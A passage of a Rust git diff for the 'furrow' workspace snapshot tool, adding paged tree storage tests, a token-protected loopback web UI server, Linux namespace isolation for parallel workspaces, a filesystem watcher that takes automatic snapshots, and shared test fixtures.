serde_json::to_vec(&tree)?.len() <= MAX_TREE_PAGE_BYTES, + "tree branch exceeded page limit" + ); + let target = store.put_struct(ObjectKind::Tree, &tree)?; + Ok(TreePage { + first_name, + last_name, + entry_count, + target, + }) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::model::EntryKind; + + #[test] + fn large_flat_directory_is_paged_and_walks_in_order() { + let temporary = tempfile::tempdir().unwrap(); + let store = ObjectStore::open(temporary.path().join("store")).unwrap(); + let entries: Vec<_> = (0..20_000) + .map(|index| TreeEntry { + name: format!("file-{index:08}.txt").into_bytes(), + kind: EntryKind::File, + target: Some([index as u8; 32]), + link_target: Vec::new(), + mode: 0o100644, + size: index, + mtime_secs: 0, + mtime_nanos: 0, + xattrs: None, + class: Default::default(), + }) + .collect(); + + let root = write(&store, entries).unwrap(); + let root_bytes = store.read_bytes(&root, ObjectKind::Tree).unwrap(); + assert!(root_bytes.len() <= MAX_TREE_PAGE_BYTES); + let root_tree: Tree = serde_json::from_slice(&root_bytes).unwrap(); + assert!(!root_tree.pages.is_empty()); + + let mut previous = Vec::new(); + let mut count = 0_u64; + for_each_entry(&store, &root, |entry| { + assert!(previous.is_empty() || previous < entry.name); + previous = entry.name; + count += 1; + Ok(()) + }) + .unwrap(); + assert_eq!(count, 20_000); + } + + #[test] + fn paged_diff_and_lookup_find_only_the_changed_entry() { + let temporary = tempfile::tempdir().unwrap(); + let store = ObjectStore::open(temporary.path().join("store")).unwrap(); + let make_entries = |changed: bool| { + (0..10_000) + .map(|index| TreeEntry { + name: format!("file-{index:08}.txt").into_bytes(), + kind: EntryKind::File, + target: Some(if changed && index == 5_432 { + [255; 32] + } else { + [index as u8; 32] + }), + link_target: Vec::new(), + mode: 0o100644, + size: index, + mtime_secs: 0, + mtime_nanos: 0, + xattrs: None, + class: Default::default(), + }) + .collect() + }; + let before = write(&store, make_entries(false)).unwrap(); + let after = write(&store, make_entries(true)).unwrap(); + + let mut changes = Vec::new(); + diff_entries(&store, &before, &after, &mut |left, right| { + changes.push((left.unwrap(), right.unwrap())); + Ok(()) + }) + .unwrap(); + assert_eq!(changes.len(), 1); + assert_eq!(changes[0].0.name, b"file-00005432.txt"); + assert_eq!(changes[0].1.target, Some([255; 32])); + assert_eq!( + find_entry(&store, &after, b"file-00005432.txt") + .unwrap() + .unwrap() + .target, + Some([255; 32]) + ); + assert!(find_entry(&store, &after, b"missing").unwrap().is_none()); + } +} diff --git a/engine/furrow-core/src/ui.rs b/engine/furrow-core/src/ui.rs new file mode 100644 index 0000000000..c6e7f7b681 --- /dev/null +++ b/engine/furrow-core/src/ui.rs @@ -0,0 +1,593 @@ +//! Embedded, loopback-only Mission Control server. + +use crate::model::{id_hex, parse_id}; +use crate::FurrowRepository; +use anyhow::Context; +use serde::Deserialize; +use serde_json::{json, Value}; +use std::collections::BTreeMap; +use std::io::{Read, Write}; +use std::net::TcpListener; +use std::path::{Path, PathBuf}; +use std::process::Command; +use std::sync::Arc; +use tiny_http::{Header, Method, Request, Response, Server, StatusCode}; + +const INDEX_HTML: &str = include_str!("../ui/index.html"); +const APP_CSS: &str = include_str!("../ui/app.css"); +const APP_JS: &str = include_str!("../ui/app.js"); +const ICONS: &[u8] = include_bytes!("../ui/assets/icons.svg"); +const GEIST: &[u8] = include_bytes!("../ui/assets/geist-latin-wght-normal.woff2"); +const MAX_BODY: usize = 1024 * 1024; +const MAX_URL: usize = 8192; +const MAX_HEADERS: usize = 64; + +#[derive(Clone)] +struct State { + root: PathBuf, + origin: String, + host: String, + token: String, + merge_check: Option, +} + +#[derive(Debug, Clone, serde::Serialize)] +pub struct ServerInfo { + pub origin: String, + pub launch_url: String, +} + +pub fn run( + root: &Path, + port: u16, + no_open: bool, + merge_check: Option, + json_output: bool, +) -> anyhow::Result<()> { + let root = root.canonicalize()?; + let listener = TcpListener::bind(("127.0.0.1", port))?; + let address = listener.local_addr()?; + let server = Server::from_listener(listener, None) + .map_err(|error| anyhow::anyhow!("start Mission Control: {error}"))?; + let origin = format!("http://{address}"); + let token = random_token()?; + let info = ServerInfo { + origin: origin.clone(), + launch_url: format!("{origin}/#token={token}"), + }; + if json_output { + println!("{}", serde_json::to_string(&info)?); + } else { + println!("Mission Control {}", info.launch_url); + } + std::io::stdout().flush()?; + if !no_open { + if let Err(error) = open_browser(&info.launch_url) { + eprintln!("warning: browser did not open: {error}"); + eprintln!("open {}", info.launch_url); + } + } + + let state = Arc::new(State { + root, + origin, + host: address.to_string(), + token, + merge_check, + }); + let server = Arc::new(server); + let mut workers = Vec::with_capacity(4); + for _ in 0..4 { + let server = Arc::clone(&server); + let state = Arc::clone(&state); + workers.push(std::thread::spawn(move || { + while let Ok(request) = server.recv() { + handle(request, &state); + } + })); + } + for worker in workers { + let _ = worker.join(); + } + Ok(()) +} + +fn handle(mut request: Request, state: &State) { + let response = dispatch(&mut request, state).unwrap_or_else(|error| { + api_error( + 400, + "invalid_request", + &error.to_string(), + "refresh and retry with the current workspace state", + ) + }); + let _ = request.respond(response); +} + +fn dispatch(request: &mut Request, state: &State) -> anyhow::Result { + anyhow::ensure!(request.url().len() <= MAX_URL, "request URL is too long"); + anyhow::ensure!( + request.headers().len() <= MAX_HEADERS, + "too many request headers" + ); + anyhow::ensure!( + request + .remote_addr() + .is_some_and(|address| address.ip().is_loopback()), + "Mission Control accepts loopback clients only" + ); + require_single_header(request, "Host", &state.host)?; + let (path, query) = split_target(request.url())?; + + if request.method() == &Method::Options { + return Ok(api_error( + 405, + "method_not_allowed", + "CORS preflight is not supported", + "use the same-origin Mission Control page", + )); + } + if path == "/" && request.method() == &Method::Get { + return Ok(static_response( + 200, + "text/html; charset=utf-8", + INDEX_HTML.as_bytes(), + false, + )); + } + if path == "/assets/app.css" && request.method() == &Method::Get { + return Ok(static_response( + 200, + "text/css; charset=utf-8", + APP_CSS.as_bytes(), + false, + )); + } + if path == "/assets/app.js" && request.method() == &Method::Get { + return Ok(static_response( + 200, + "text/javascript; charset=utf-8", + APP_JS.as_bytes(), + false, + )); + } + if path == "/assets/icons.svg" && request.method() == &Method::Get { + return Ok(static_response(200, "image/svg+xml", ICONS, true)); + } + if path == "/assets/geist.woff2" && request.method() == &Method::Get { + return Ok(static_response(200, "font/woff2", GEIST, true)); + } + if !path.starts_with("/api/v1/") { + return Ok(api_error( + 404, + "not_found", + "route not found", + "return to Mission Control", + )); + } + authorize(request, state, request.method() == &Method::Post)?; + + match (request.method(), path.as_str()) { + (&Method::Get, "/api/v1/status") => { + let repository = FurrowRepository::open(&state.root)?; + if query_bool(&query, "fidelity")? { + json_response(json!({ + "status": repository.status()?, + "fidelity": repository.fidelity()? + })) + } else { + json_response(serde_json::to_value(repository.status()?)?) + } + } + (&Method::Get, "/api/v1/timeline") => { + let limit = query_usize(&query, "limit", 100, 1, 1000)?; + json_response(serde_json::to_value( + FurrowRepository::open(&state.root)?.timeline(limit)?, + )?) + } + (&Method::Get, "/api/v1/forks") => json_response(serde_json::to_value( + FurrowRepository::open(&state.root)?.forks()?, + )?), + (&Method::Get, "/api/v1/events") => { + let limit = query_usize(&query, "limit", 100, 1, 1000)?; + let after = query.get("after").map(String::as_str); + json_response(serde_json::to_value( + FurrowRepository::open(&state.root)?.events(after, limit)?, + )?) + } + (&Method::Get, "/api/v1/config") => json_response(json!({ + "merge_apply": state.merge_check.is_some(), + "poll_interval_ms": 5000 + })), + (&Method::Post, "/api/v1/diff") => { + let body: DiffRequest = body_json(request)?; + json_response(serde_json::to_value( + FurrowRepository::open(&state.root)?.diff(&body.target)?, + )?) + } + (&Method::Post, "/api/v1/rewind/plan") => { + let body: RewindPlanRequest = body_json(request)?; + let repository = FurrowRepository::open(&state.root)?; + let target = exact_snapshot(&repository, &body.snapshot)?; + json_response(serde_json::to_value( + repository.plan_rewind(&target, &body.paths)?, + )?) + } + (&Method::Post, "/api/v1/rewind/apply") => { + let body: RewindApplyRequest = body_json(request)?; + anyhow::ensure!( + body.snapshot == body.confirm_snapshot, + "confirm_snapshot must exactly match snapshot" + ); + let mut repository = FurrowRepository::open(&state.root)?; + let target = exact_snapshot(&repository, &body.snapshot)?; + let current = repository.plan_rewind(&target, &body.paths)?; + if !constant_time_equal(¤t.preview_digest, &body.preview_digest) { + return Ok(api_error( + 409, + "stale_preview", + "workspace state changed after the rewind preview", + "preview the rewind again before applying it", + )); + } + let (pre, applied) = repository.rewind( + &target, + &body.paths, + body.sqlite_consistent.unwrap_or(false), + )?; + json_response(json!({ + "restored": applied.target, + "pre_rewind_snapshot": id_hex(&pre), + "changes": applied.changes.len() + })) + } + (&Method::Post, "/api/v1/merge/preview") => { + let body: MergeRequest = body_json(request)?; + json_response(serde_json::to_value( + FurrowRepository::open(&state.root)?.merge(&body.fork, None, true)?, + )?) + } + (&Method::Post, "/api/v1/merge/apply") => { + let body: MergeApplyRequest = body_json(request)?; + let check = state.merge_check.as_deref().context( + "merge apply is disabled; restart `furrow ui` with --merge-check ", + )?; + let mut repository = FurrowRepository::open(&state.root)?; + let current = repository.merge(&body.fork, None, true)?; + if !constant_time_equal(¤t.preview_digest, &body.preview_digest) { + return Ok(api_error( + 409, + "stale_preview", + "source or fork state changed after the merge preview", + "preview the merge again before applying it", + )); + } + json_response(serde_json::to_value(repository.merge( + &body.fork, + Some(check), + false, + )?)?) + } + (&Method::Post, "/api/v1/forks/discard") => { + let body: ForkMutationRequest = body_json(request)?; + anyhow::ensure!( + body.fork_id == body.confirm_fork_id, + "confirm_fork_id must exactly match fork_id" + ); + let mut repository = FurrowRepository::open(&state.root)?; + let fork = repository + .forks()? + .into_iter() + .find(|fork| fork.fork_id == body.fork_id) + .context("fork ID was not found")?; + let removal = repository.remove_fork(&fork.name, false)?; + json_response(json!({"fork_id": body.fork_id, "result": removal})) + } + (&Method::Post, "/api/v1/pins") => { + let body: PinRequest = body_json(request)?; + let mut repository = FurrowRepository::open(&state.root)?; + let snapshot = exact_snapshot(&repository, &body.snapshot)?; + let changed = if body.pinned { + repository.pin(&snapshot)? + } else { + repository.unpin(&snapshot)? + }; + json_response(json!({ + "snapshot": id_hex(&snapshot), + "pinned": body.pinned, + "changed": changed + })) + } + _ => Ok(api_error( + 405, + "method_not_allowed", + "method is not allowed for this route", + "use a documented Mission Control operation", + )), + } +} + +#[derive(Deserialize)] +struct DiffRequest { + target: String, +} + +#[derive(Deserialize)] +struct RewindPlanRequest { + snapshot: String, + #[serde(default)] + paths: Vec, +} + +#[derive(Deserialize)] +struct RewindApplyRequest { + snapshot: String, + confirm_snapshot: String, + preview_digest: String, + #[serde(default)] + paths: Vec, + sqlite_consistent: Option, +} + +#[derive(Deserialize)] +struct MergeRequest { + fork: String, +} + +#[derive(Deserialize)] +struct MergeApplyRequest { + fork: String, + preview_digest: String, +} + +#[derive(Deserialize)] +struct ForkMutationRequest { + fork_id: String, + confirm_fork_id: String, +} + +#[derive(Deserialize)] +struct PinRequest { + snapshot: String, + pinned: bool, +} + +fn exact_snapshot(repository: &FurrowRepository, value: &str) -> anyhow::Result<[u8; 32]> { + anyhow::ensure!( + value.len() == 64, + "Mission Control actions require a full snapshot ID" + ); + let snapshot = parse_id(value)?; + repository.resolve_snapshot(value)?; + Ok(snapshot) +} + +fn body_json Deserialize<'de>>(request: &mut Request) -> anyhow::Result { + let length = request.body_length().unwrap_or(0); + anyhow::ensure!(length <= MAX_BODY, "request body exceeds 1 MiB"); + anyhow::ensure!( + header(request, "Content-Type").is_some_and(|value| value.starts_with("application/json")), + "request Content-Type must be application/json" + ); + let mut body = Vec::with_capacity(length.min(MAX_BODY)); + request + .as_reader() + .take((MAX_BODY + 1) as u64) + .read_to_end(&mut body)?; + anyhow::ensure!(body.len() <= MAX_BODY, "request body exceeds 1 MiB"); + Ok(serde_json::from_slice(&body)?) +} + +fn authorize(request: &Request, state: &State, mutation: bool) -> anyhow::Result<()> { + let authorization = header(request, "Authorization").context("missing Authorization")?; + let supplied = authorization + .strip_prefix("Bearer ") + .context("Authorization must use Bearer")?; + anyhow::ensure!( + constant_time_equal(supplied, &state.token), + "invalid Mission Control capability" + ); + if mutation { + require_single_header(request, "Origin", &state.origin)?; + require_single_header(request, "X-Furrow-UI", "1")?; + if let Some(site) = header(request, "Sec-Fetch-Site") { + anyhow::ensure!(site == "same-origin", "cross-site mutation refused"); + } + } + Ok(()) +} + +fn require_single_header(request: &Request, name: &str, expected: &str) -> anyhow::Result<()> { + let values = request + .headers() + .iter() + .filter(|header| header.field.as_str().as_str().eq_ignore_ascii_case(name)) + .map(|header| header.value.as_str()) + .collect::>(); + anyhow::ensure!(values.len() == 1, "request requires one {name} header"); + anyhow::ensure!(values[0] == expected, "invalid {name} header"); + Ok(()) +} + +fn header<'a>(request: &'a Request, name: &str) -> Option<&'a str> { + let mut values = request + .headers() + .iter() + .filter(|header| header.field.as_str().as_str().eq_ignore_ascii_case(name)); + let first = values.next()?.value.as_str(); + values.next().is_none().then_some(first) +} + +fn split_target(target: &str) -> anyhow::Result<(String, BTreeMap)> { + let (path, query) = target.split_once('?').unwrap_or((target, "")); + anyhow::ensure!(path.starts_with('/'), "request path must be absolute"); + anyhow::ensure!(!path.contains(".."), "path traversal refused"); + let mut values = BTreeMap::new(); + for pair in query.split('&').filter(|pair| !pair.is_empty()) { + let (name, value) = pair.split_once('=').unwrap_or((pair, "")); + let name = percent_decode(name)?; + let value = percent_decode(value)?; + anyhow::ensure!(values.insert(name, value).is_none(), "duplicate query key"); + } + Ok((path.to_owned(), values)) +} + +fn percent_decode(value: &str) -> anyhow::Result { + let bytes = value.as_bytes(); + let mut decoded = Vec::with_capacity(bytes.len()); + let mut index = 0; + while index < bytes.len() { + if bytes[index] == b'%' { + anyhow::ensure!(index + 2 < bytes.len(), "truncated percent escape"); + let high = hex_nibble(bytes[index + 1]).context("invalid percent escape")?; + let low = hex_nibble(bytes[index + 2]).context("invalid percent escape")?; + decoded.push(high << 4 | low); + index += 3; + } else { + decoded.push(if bytes[index] == b'+' { + b' ' + } else { + bytes[index] + }); + index += 1; + } + } + String::from_utf8(decoded).context("query value is not UTF-8") +} + +fn hex_nibble(value: u8) -> Option { + match value { + b'0'..=b'9' => Some(value - b'0'), + b'a'..=b'f' => Some(value - b'a' + 10), + b'A'..=b'F' => Some(value - b'A' + 10), + _ => None, + } +} + +fn query_bool(query: &BTreeMap, name: &str) -> anyhow::Result { + match query.get(name).map(String::as_str) { + None | Some("false" | "0") => Ok(false), + Some("true" | "1") => Ok(true), + Some(_) => anyhow::bail!("{name} must be true or false"), + } +} + +fn query_usize( + query: &BTreeMap, + name: &str, + default: usize, + minimum: usize, + maximum: usize, +) -> anyhow::Result { + let value = query + .get(name) + .map(|value| value.parse::()) + .transpose()? + .unwrap_or(default); + anyhow::ensure!( + (minimum..=maximum).contains(&value), + "{name} is out of range" + ); + Ok(value) +} + +type HttpResponse = Response>>; + +fn json_response(value: Value) -> anyhow::Result { + Ok(response( + 200, + "application/json; charset=utf-8", + serde_json::to_vec(&value)?, + false, + )) +} + +fn api_error(status: u16, code: &str, message: &str, remedy: &str) -> HttpResponse { + response( + status, + "application/json; charset=utf-8", + serde_json::to_vec(&json!({ + "error": {"code": code, "message": message, "remedy": remedy} + })) + .unwrap_or_default(), + false, + ) +} + +fn static_response(status: u16, content_type: &str, body: &[u8], immutable: bool) -> HttpResponse { + response(status, content_type, body.to_vec(), immutable) +} + +fn response(status: u16, content_type: &str, body: Vec, immutable: bool) -> HttpResponse { + let cache = if immutable { + "public, max-age=31536000, immutable" + } else { + "no-store" + }; + let mut response = Response::from_data(body).with_status_code(StatusCode(status)); + for (name, value) in [ + ("Content-Type", content_type), + ("Cache-Control", cache), + ( + "Content-Security-Policy", + "default-src 'self'; script-src 'self'; style-src 'self'; connect-src 'self'; img-src 'self' data:; object-src 'none'; base-uri 'none'; frame-ancestors 'none'; form-action 'none'", + ), + ("X-Content-Type-Options", "nosniff"), + ("X-Frame-Options", "DENY"), + ("Referrer-Policy", "no-referrer"), + ("Cross-Origin-Opener-Policy", "same-origin"), + ] { + response.add_header(Header::from_bytes(name, value).expect("static header is valid")); + } + response +} + +fn constant_time_equal(left: &str, right: &str) -> bool { + let left = left.as_bytes(); + let right = right.as_bytes(); + let mut difference = left.len() ^ right.len(); + for index in 0..left.len().max(right.len()) { + difference |= usize::from( + left.get(index).copied().unwrap_or(0) ^ right.get(index).copied().unwrap_or(0), + ); + } + difference == 0 +} + +fn random_token() -> anyhow::Result { + let mut token = [0_u8; 32]; + getrandom::getrandom(&mut token) + .map_err(|error| anyhow::anyhow!("generate UI capability: {error}"))?; + Ok(hex::encode(token)) +} + +fn open_browser(url: &str) -> anyhow::Result<()> { + let (program, argument) = if cfg!(target_os = "macos") { + ("open", url) + } else if cfg!(target_os = "linux") { + ("xdg-open", url) + } else { + anyhow::bail!("automatic browser opening is unsupported on this platform") + }; + Command::new(program) + .arg(argument) + .spawn() + .with_context(|| format!("start {program}"))?; + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn query_decoding_and_constant_time_tokens_are_strict() { + let (_, query) = split_target("/api/v1/events?after=abc%3A12&limit=20").unwrap(); + assert_eq!(query["after"], "abc:12"); + assert_eq!(query["limit"], "20"); + assert!(split_target("/../secret").is_err()); + assert!(constant_time_equal("abc", "abc")); + assert!(!constant_time_equal("abc", "abd")); + assert!(!constant_time_equal("abc", "ab")); + } +} diff --git a/engine/furrow-core/src/universe.rs b/engine/furrow-core/src/universe.rs new file mode 100644 index 0000000000..d7189a03db --- /dev/null +++ b/engine/furrow-core/src/universe.rs @@ -0,0 +1,283 @@ +//! Process isolation drivers for parallel workspace universes. + +use anyhow::{bail, Context}; +use serde::{Deserialize, Serialize}; +use std::ffi::OsString; +use std::path::{Path, PathBuf}; +#[cfg(target_os = "linux")] +use std::process::Stdio; +use std::process::{Command, ExitStatus}; + +#[derive(Clone, Copy, Debug, Deserialize, Eq, PartialEq, Serialize)] +#[serde(rename_all = "kebab-case")] +pub enum ExecutionDriver { + LinuxMountNamespace, + SiblingDirectory, +} + +impl std::fmt::Display for ExecutionDriver { + fn fmt(&self, formatter: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + Self::LinuxMountNamespace => formatter.write_str("linux-mount-namespace"), + Self::SiblingDirectory => formatter.write_str("sibling-directory"), + } + } +} + +#[derive(Clone, Debug, Deserialize, Eq, PartialEq, Serialize)] +pub struct DriverSelection { + pub driver: ExecutionDriver, + pub same_canonical_path: bool, + pub reason: String, +} + +/// Select the strongest locally available isolation driver. +pub fn select_driver() -> DriverSelection { + #[cfg(target_os = "linux")] + { + if std::env::var_os("FURROW_DISABLE_NAMESPACES").is_some() { + return DriverSelection { + driver: ExecutionDriver::SiblingDirectory, + same_canonical_path: false, + reason: "mount namespaces disabled by FURROW_DISABLE_NAMESPACES".to_owned(), + }; + } + match probe_linux_namespace() { + Ok(()) => DriverSelection { + driver: ExecutionDriver::LinuxMountNamespace, + same_canonical_path: true, + reason: "unprivileged user and mount namespaces are available".to_owned(), + }, + Err(error) => DriverSelection { + driver: ExecutionDriver::SiblingDirectory, + same_canonical_path: false, + reason: format!("mount namespace unavailable: {error}"), + }, + } + } + #[cfg(not(target_os = "linux"))] + { + DriverSelection { + driver: ExecutionDriver::SiblingDirectory, + same_canonical_path: false, + reason: "this platform has no Linux mount namespaces".to_owned(), + } + } +} + +#[cfg(target_os = "linux")] +fn probe_linux_namespace() -> anyhow::Result<()> { + let executable = std::env::current_exe().context("resolve furrow executable")?; + let output = Command::new(executable) + .arg("__namespace-probe") + .stdin(Stdio::null()) + .stdout(Stdio::null()) + .stderr(Stdio::piped()) + .output() + .context("start namespace capability probe")?; + if output.status.success() { + return Ok(()); + } + let detail = String::from_utf8_lossy(&output.stderr); + let detail = detail.lines().last().unwrap_or("probe failed").trim(); + bail!("{detail}") +} + +/// Enter a private user/mount namespace, overlay `source` at `target`, and exec. +#[cfg(target_os = "linux")] +pub fn exec_linux_namespace( + source: &Path, + target: &Path, + command: &[OsString], +) -> anyhow::Result<()> { + use std::os::unix::ffi::OsStrExt; + use std::os::unix::process::CommandExt; + + anyhow::ensure!(!command.is_empty(), "namespace helper requires a command"); + let source = source + .canonicalize() + .with_context(|| format!("resolve universe {}", source.display()))?; + let target = target + .canonicalize() + .with_context(|| format!("resolve canonical workspace {}", target.display()))?; + + let result = unsafe { libc::unshare(libc::CLONE_NEWUSER | libc::CLONE_NEWNS) }; + if result != 0 { + return Err(std::io::Error::last_os_error()).context("create user/mount namespace"); + } + configure_user_namespace()?; + + let root = std::ffi::CString::new("/")?; + let result = unsafe { + libc::mount( + std::ptr::null(), + root.as_ptr(), + std::ptr::null(), + libc::MS_REC | libc::MS_PRIVATE, + std::ptr::null(), + ) + }; + if result != 0 { + return Err(std::io::Error::last_os_error()).context("make mounts private"); + } + + let source_c = std::ffi::CString::new(source.as_os_str().as_bytes())?; + let target_c = std::ffi::CString::new(target.as_os_str().as_bytes())?; + let result = unsafe { + libc::mount( + source_c.as_ptr(), + target_c.as_ptr(), + std::ptr::null(), + libc::MS_BIND | libc::MS_REC, + std::ptr::null(), + ) + }; + if result != 0 { + return Err(std::io::Error::last_os_error()).with_context(|| { + format!( + "bind universe {} over {}", + source.display(), + target.display() + ) + }); + } + + let (program, arguments) = command.split_first().expect("checked above"); + let error = Command::new(program) + .args(arguments) + .current_dir(&target) + .exec(); + Err(error).with_context(|| format!("exec {:?}", program)) +} + +#[cfg(target_os = "linux")] +fn configure_user_namespace() -> anyhow::Result<()> { + let uid = unsafe { libc::getuid() }; + let gid = unsafe { libc::getgid() }; + if let Err(error) = std::fs::write("/proc/self/setgroups", b"deny\n") { + if error.kind() != std::io::ErrorKind::NotFound { + return Err(error).context("disable setgroups in user namespace"); + } + } + std::fs::write("/proc/self/uid_map", format!("0 {uid} 1\n")).context("map namespace uid")?; + std::fs::write("/proc/self/gid_map", format!("0 {gid} 1\n")).context("map namespace gid")?; + Ok(()) +} + +#[cfg(target_os = "linux")] +pub fn probe_namespace_helper() -> anyhow::Result<()> { + use std::os::unix::ffi::OsStrExt; + + let mountpoint = tempfile::tempdir().context("create namespace probe mountpoint")?; + let result = unsafe { libc::unshare(libc::CLONE_NEWUSER | libc::CLONE_NEWNS) }; + if result != 0 { + return Err(std::io::Error::last_os_error()).context("create user/mount namespace"); + } + configure_user_namespace()?; + let root = std::ffi::CString::new("/")?; + let result = unsafe { + libc::mount( + std::ptr::null(), + root.as_ptr(), + std::ptr::null(), + libc::MS_REC | libc::MS_PRIVATE, + std::ptr::null(), + ) + }; + if result != 0 { + return Err(std::io::Error::last_os_error()).context("make probe mounts private"); + } + let path = std::ffi::CString::new(mountpoint.path().as_os_str().as_bytes())?; + let result = unsafe { + libc::mount( + path.as_ptr(), + path.as_ptr(), + std::ptr::null(), + libc::MS_BIND, + std::ptr::null(), + ) + }; + if result != 0 { + return Err(std::io::Error::last_os_error()).context("test private bind mount"); + } + let result = unsafe { libc::umount2(path.as_ptr(), libc::MNT_DETACH) }; + if result != 0 { + return Err(std::io::Error::last_os_error()).context("unmount namespace probe"); + } + Ok(()) +} + +#[cfg(not(target_os = "linux"))] +pub fn probe_namespace_helper() -> anyhow::Result<()> { + bail!("Linux namespaces are not supported on this platform") +} + +#[cfg(not(target_os = "linux"))] +pub fn exec_linux_namespace( + _source: &Path, + _target: &Path, + _command: &[OsString], +) -> anyhow::Result<()> { + bail!("Linux namespaces are not supported on this platform") +} + +pub struct UniverseCommand<'a> { + pub driver: ExecutionDriver, + pub executable: &'a Path, + pub source: &'a Path, + pub canonical_target: &'a Path, + pub command: &'a [OsString], +} + +impl UniverseCommand<'_> { + pub fn command(&self) -> anyhow::Result { + let (program, arguments) = self + .command + .split_first() + .context("universe requires a command")?; + let child = match self.driver { + ExecutionDriver::LinuxMountNamespace => { + let mut child = Command::new(self.executable); + child + .arg("__exec-namespace") + .arg("--source") + .arg(self.source) + .arg("--target") + .arg(self.canonical_target) + .arg("--") + .args(self.command); + child + } + ExecutionDriver::SiblingDirectory => { + let mut child = Command::new(program); + child.args(arguments).current_dir(self.source); + child + } + }; + Ok(child) + } +} + +#[derive(Clone, Debug, Serialize)] +pub struct UniversePlan { + pub index: usize, + pub fork_id: String, + pub name: String, + pub destination: PathBuf, + pub process_workdir: PathBuf, + pub port: u16, + pub base_snapshot: String, + pub logical_bytes: u64, + pub projected_fork_ms: u64, +} + +#[derive(Clone, Debug, Serialize)] +pub struct ExecPlan { + pub driver: DriverSelection, + pub canonical_workdir: PathBuf, + pub universes: Vec, +} + +pub fn exit_code(status: ExitStatus) -> i32 { + status.code().unwrap_or(1) +} diff --git a/engine/furrow-core/src/watcher.rs b/engine/furrow-core/src/watcher.rs new file mode 100644 index 0000000000..d44339eb06 --- /dev/null +++ b/engine/furrow-core/src/watcher.rs @@ -0,0 +1,107 @@ +use crate::model::SnapshotTrigger; +use crate::repository::FurrowRepository; +use crate::self_write::{self, FilterResult}; +use anyhow::Context; +use notify::{Event, EventKind, RecommendedWatcher, RecursiveMode, Watcher}; +use std::collections::BTreeSet; +use std::path::PathBuf; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::sync::{mpsc, Arc}; +use std::time::Duration; +use std::time::Instant; + +const EVENT_QUEUE: usize = 4096; + +pub fn run(mut repository: FurrowRepository, debounce: Duration) -> anyhow::Result<()> { + let (sender, receiver) = mpsc::sync_channel::>(EVENT_QUEUE); + let overflow = Arc::new(AtomicBool::new(false)); + let callback_overflow = Arc::clone(&overflow); + let mut watcher: RecommendedWatcher = notify::recommended_watcher(move |event| { + if sender.try_send(event).is_err() { + callback_overflow.store(true, Ordering::Release); + } + })?; + watcher.watch(repository.root(), RecursiveMode::Recursive)?; + eprintln!( + "furrow: continuously protecting {} (Ctrl-C to stop)", + repository.root().display() + ); + + loop { + let first = receiver.recv().context("filesystem watcher stopped")?; + let mut changed_paths = BTreeSet::new(); + record_event(first, &mut changed_paths, &overflow); + + loop { + match receiver.recv_timeout(debounce) { + Ok(event) => record_event(event, &mut changed_paths, &overflow), + Err(mpsc::RecvTimeoutError::Timeout) => break, + Err(mpsc::RecvTimeoutError::Disconnected) => { + anyhow::bail!("filesystem watcher disconnected") + } + } + } + + let overflowed = overflow.swap(false, Ordering::AcqRel); + while self_write::filter_events( + &repository.workspace_data_dir(), + repository.root(), + &mut changed_paths, + )? == FilterResult::ApplyActive + { + std::thread::sleep(Duration::from_millis(20)); + } + let changed_paths = match repository.filter_capture_paths(changed_paths) { + Ok(paths) => paths, + Err(error) => { + eprintln!("furrow: automatic snapshot deferred: {error:#}"); + continue; + } + }; + if !overflowed && changed_paths.is_empty() { + continue; + } + let label = if overflowed { + "automatic snapshot after watcher overflow/rescan" + } else { + "automatic snapshot after write quiescence" + }; + let seal_started = Instant::now(); + let result = if overflowed || changed_paths.is_empty() { + repository.snapshot(Some(label.to_owned()), SnapshotTrigger::Watcher) + } else { + repository.snapshot_changed_paths( + Some(label.to_owned()), + SnapshotTrigger::Watcher, + &changed_paths, + ) + }; + match result { + Ok(id) => eprintln!( + "furrow: sealed {} in {:.3}s", + &hex::encode(id)[..12], + seal_started.elapsed().as_secs_f64() + ), + Err(error) => eprintln!("furrow: automatic snapshot deferred: {error:#}"), + } + } +} + +fn record_event( + event: notify::Result, + changed_paths: &mut BTreeSet, + overflow: &AtomicBool, +) { + match event { + // A READ IS NOT A CHANGE. Linux inotify reports every open and close of + // a file, and a seal opens the files it hashes, so counting those would + // make each seal wake the next one and the watcher would never go + // quiet. Every real write also arrives as a create, modify or remove. + Ok(event) if matches!(event.kind, EventKind::Access(_)) => {} + Ok(event) => changed_paths.extend(event.paths), + Err(error) => { + eprintln!("furrow: watcher warning: {error}"); + overflow.store(true, Ordering::Release); + } + } +} diff --git a/engine/furrow-core/tests/common/mod.rs b/engine/furrow-core/tests/common/mod.rs new file mode 100644 index 0000000000..539636d3a4 --- /dev/null +++ b/engine/furrow-core/tests/common/mod.rs @@ -0,0 +1,335 @@ +//! Shared fixtures for the Stage 1 exchange tests. +#![allow(dead_code)] + +use furrow::exchange::export::{ExportJob, ExportReport}; +use furrow::exchange::fetch::Taken; +use furrow::exchange::frame; +use furrow::exchange::ledger::Ledger; +use furrow::exchange::open_store; +use furrow::model::{id_hex, ObjectId, SnapshotTrigger}; +use furrow::repository::{FurrowRepository, SealOptions}; +use furrow::sealer::{CellSealer, Keys}; +use std::collections::BTreeMap; +use std::fs; +use std::os::unix::fs::{symlink, MetadataExt, PermissionsExt}; +use std::path::{Path, PathBuf}; +use tempfile::TempDir; + +pub const LEDGER: &str = "0123456789abcdef"; +pub const OTHER_LEDGER: &str = "fedcba9876543210"; + +pub fn keys() -> Keys { + Keys { + cell_key: [0x11; 32], + dedup: [0x22; 32], + } +} + +pub fn sealer() -> CellSealer { + CellSealer::new(&keys()) +} + +/// A sealed tree in its own data directory, with a composed `.cell/` directory +/// kept outside the tree. +pub struct Source { + pub _temp: TempDir, + pub data: PathBuf, + pub tree: PathBuf, + pub cell: PathBuf, + pub head: ObjectId, +} + +pub fn source() -> Source { + let temp = tempfile::tempdir().unwrap(); + let data = temp.path().join("data-a"); + let tree = temp.path().join("tree-a"); + let cell = temp.path().join("cell-a"); + write_tree(&tree, &cell); + let options = SealOptions { + changed: None, + overlay: Some(cell.clone()), + }; + let (_, head) = FurrowRepository::attach_and_seal_in( + &data, + &tree, + Some("fixture".to_owned()), + SnapshotTrigger::Manual, + options, + ) + .unwrap(); + Source { + _temp: temp, + data, + tree, + cell, + head, + } +} + +fn pseudo_random(len: usize) -> Vec { + let mut state = 0x9e37_79b9_7f4a_7c15_u64; + (0..len) + .map(|_| { + state = state + .wrapping_mul(6364136223846793005) + 